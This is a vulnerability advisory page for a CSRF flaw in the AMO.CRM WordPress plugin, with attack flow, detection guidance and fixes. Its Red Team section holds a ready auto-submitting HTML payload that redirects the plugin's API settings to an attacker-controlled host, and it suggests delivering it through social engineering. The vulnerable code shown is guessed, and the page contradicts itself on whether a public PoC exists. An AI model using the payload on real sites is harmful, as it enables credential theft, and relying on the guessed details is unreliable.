☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9628

CVE-2025-9628 Cross-Site Request Forgery in Amo.crm
📅 PUBLISHED: 2025-09-11 07:24 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.02%
👁️
0.02% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9628 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the AMO.CRM plugin for WordPress, up to and including version 1.0.1. The vulnerability exists due to missing or incorrect nonce validation on the settings_page function, allowing an unauthenticated attacker to forge requests that modify critical API connection settings. These settings include the AMO.CRM API URL, login credentials, and API hash key. Successful exploitation requires tricking a site administrator into performing an action, such as clicking a malicious link. The CVSS score is 4.3 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood currently. No public proof-of-concept or exploit code is available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The AMO.CRM plugin integrates with the AMO.CRM service, and the CSRF flaw allows attackers to hijack the API connection, potentially leading to data exfiltration or service disruption. No patch has been released by the vendor.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Attack Vector (AV): Network – The attack can be launched remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): None – No authentication needed.
  • User Interaction (UI): Required – The victim must click a link or perform an action.
  • Scope (S): Unchanged – The vulnerability affects only the vulnerable component.
  • Confidentiality (C): None – No direct data exposure.
  • Integrity (I): Low – API settings can be modified, potentially leading to data manipulation.
  • Availability (A): None – No direct denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ability to modify API credentials could lead to significant downstream impacts if the attacker can intercept or manipulate data flows.

Deep Dive & Mechanics

The vulnerability resides in the settings_page function of the AMO.CRM plugin. This function handles the display and processing of plugin settings, including the API URL, login credentials, and API hash key. The plugin fails to implement a nonce (number used once) check when processing POST requests to update these settings. Without a nonce, an attacker can craft a malicious HTML page or link that, when visited by an authenticated administrator, submits a forged request to the WordPress admin area, altering the API configuration.

Attack Flow:

  1. Attacker identifies a WordPress site using the vulnerable AMO.CRM plugin.
  2. Attacker crafts a malicious link or HTML form that targets the plugin's settings endpoint (e.g., /wp-admin/admin-post.php?action=amo_crm_settings).
  3. Attacker tricks an administrator into clicking the link or visiting the malicious page.
  4. The administrator's browser sends a forged POST request with modified API settings (e.g., attacker-controlled API URL and credentials).
  5. The plugin processes the request without validating the nonce, updating the settings.
  6. The attacker can now intercept or manipulate API communications between the WordPress site and the AMO.CRM service.

Impact: The attacker can redirect API traffic to a malicious endpoint, capture credentials, or inject malicious data into the CRM system.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be in the plugin's main file (e.g., amo-crm.php). The vulnerable function likely looks like:

// Vulnerable code (no nonce check)
function settings_page() {
    if (isset($_POST['submit'])) {
        update_option('amo_crm_api_url', $_POST['api_url']);
        update_option('amo_crm_login', $_POST['login']);
        update_option('amo_crm_hash', $_POST['hash']);
    }
    // Display settings form...
}

A patched version would include a nonce check:

// Patched code (with nonce validation)
function settings_page() {
    if (isset($_POST['submit'])) {
        if (!wp_verify_nonce($_POST['_wpnonce'], 'amo_crm_settings')) {
            wp_die('Security check failed.');
        }
        update_option('amo_crm_api_url', sanitize_text_field($_POST['api_url']));
        update_option('amo_crm_login', sanitize_text_field($_POST['login']));
        update_option('amo_crm_hash', sanitize_text_field($_POST['hash']));
    }
    // Display settings form with nonce field...
}

The patched code adds wp_verify_nonce() and uses sanitize_text_field() for input sanitization.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A WordPress site with the AMO.CRM plugin version <= 1.0.1.
  • An administrator account (for the victim).
  • A web server to host the malicious page.

Step 1: Craft the CSRF Payload

Create an HTML file (csrf.html) that automatically submits a form to the vulnerable endpoint:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="amo_crm_settings">
    <input type="hidden" name="api_url" value="https://attacker-controlled.com/api/">
    <input type="hidden" name="login" value="attacker_login">
    <input type="hidden" name="hash" value="attacker_hash">
    <input type="hidden" name="submit" value="Save">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

Step 2: Host and Deliver

Host the file on a server and send the link to the administrator via email or social engineering.

Step 3: Verify

After the administrator visits the link, check the plugin settings to confirm the API URL and credentials have been changed.

Blue Team (Defense & Detection)

Detection:

  • Monitor for unexpected changes to the amo_crm_api_url, amo_crm_login, and amo_crm_hash options in the WordPress database.
  • Look for POST requests to /wp-admin/admin-post.php with action=amo_crm_settings from unusual referrers or without a valid nonce.

Prevention:

  • Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php without a valid nonce.
  • Use Content Security Policy (CSP) headers to prevent form submission from external origins.
  • Educate administrators about phishing and CSRF attacks.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /wp-admin/admin-post.php with action=amo_crm_settings and parameters api_url, login, hash.
    • Unusual referrer headers (e.g., from attacker-controlled domains).
  • Host:
    • Modified WordPress options: amo_crm_api_url, amo_crm_login, amo_crm_hash.
    • Unexpected entries in the WordPress options table.
  • Logs:
    • WordPress debug log entries showing settings updates without nonce validation.

Detection Engineering

YARA Rule

🔒 DETECTION RULE — API ACCESS REQUIRED

The full machine-readable detection artifact (Sigma, YARA, Suricata, Elastic, Splunk or Wazuh rule body) is available through the ValtersIT API — moved there in response to large-scale automated scraping, to keep this independently-researched intelligence sustainable. The written analysis on every record remains fully open.

[ GET API ACCESS ] →

Sigma Rule

🔒 DETECTION RULE — API ACCESS REQUIRED

The full machine-readable detection artifact (Sigma, YARA, Suricata, Elastic, Splunk or Wazuh rule body) is available through the ValtersIT API — moved there in response to large-scale automated scraping, to keep this independently-researched intelligence sustainable. The written analysis on every record remains fully open.

[ GET API ACCESS ] →

Suricata Rule

🔒 DETECTION RULE — API ACCESS REQUIRED

The full machine-readable detection artifact (Sigma, YARA, Suricata, Elastic, Splunk or Wazuh rule body) is available through the ValtersIT API — moved there in response to large-scale automated scraping, to keep this independently-researched intelligence sustainable. The written analysis on every record remains fully open.

[ GET API ACCESS ] →

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is available.
  2. Manually add nonce validation to the plugin code (see patched code example above).
  3. Review and reset API credentials if compromise is suspected.

Long-term:

  • Monitor the vendor's website for an official patch.
  • Implement CSRF protection mechanisms (nonces, same-site cookies) in all custom plugins.
  • Use a WordPress security plugin that adds CSRF checks.

Workaround:

  • Restrict access to the WordPress admin area using IP whitelisting or VPN.
  • Use a reverse proxy to block requests to admin-post.php without a valid nonce.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

Security researchers use these queries on Shodan.io to find vulnerable systems globally.

🔒 1 Shodan dork available

Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.

[ GET API ACCESS ] → Available on all plans · from €19/mo (founding)

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9628/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.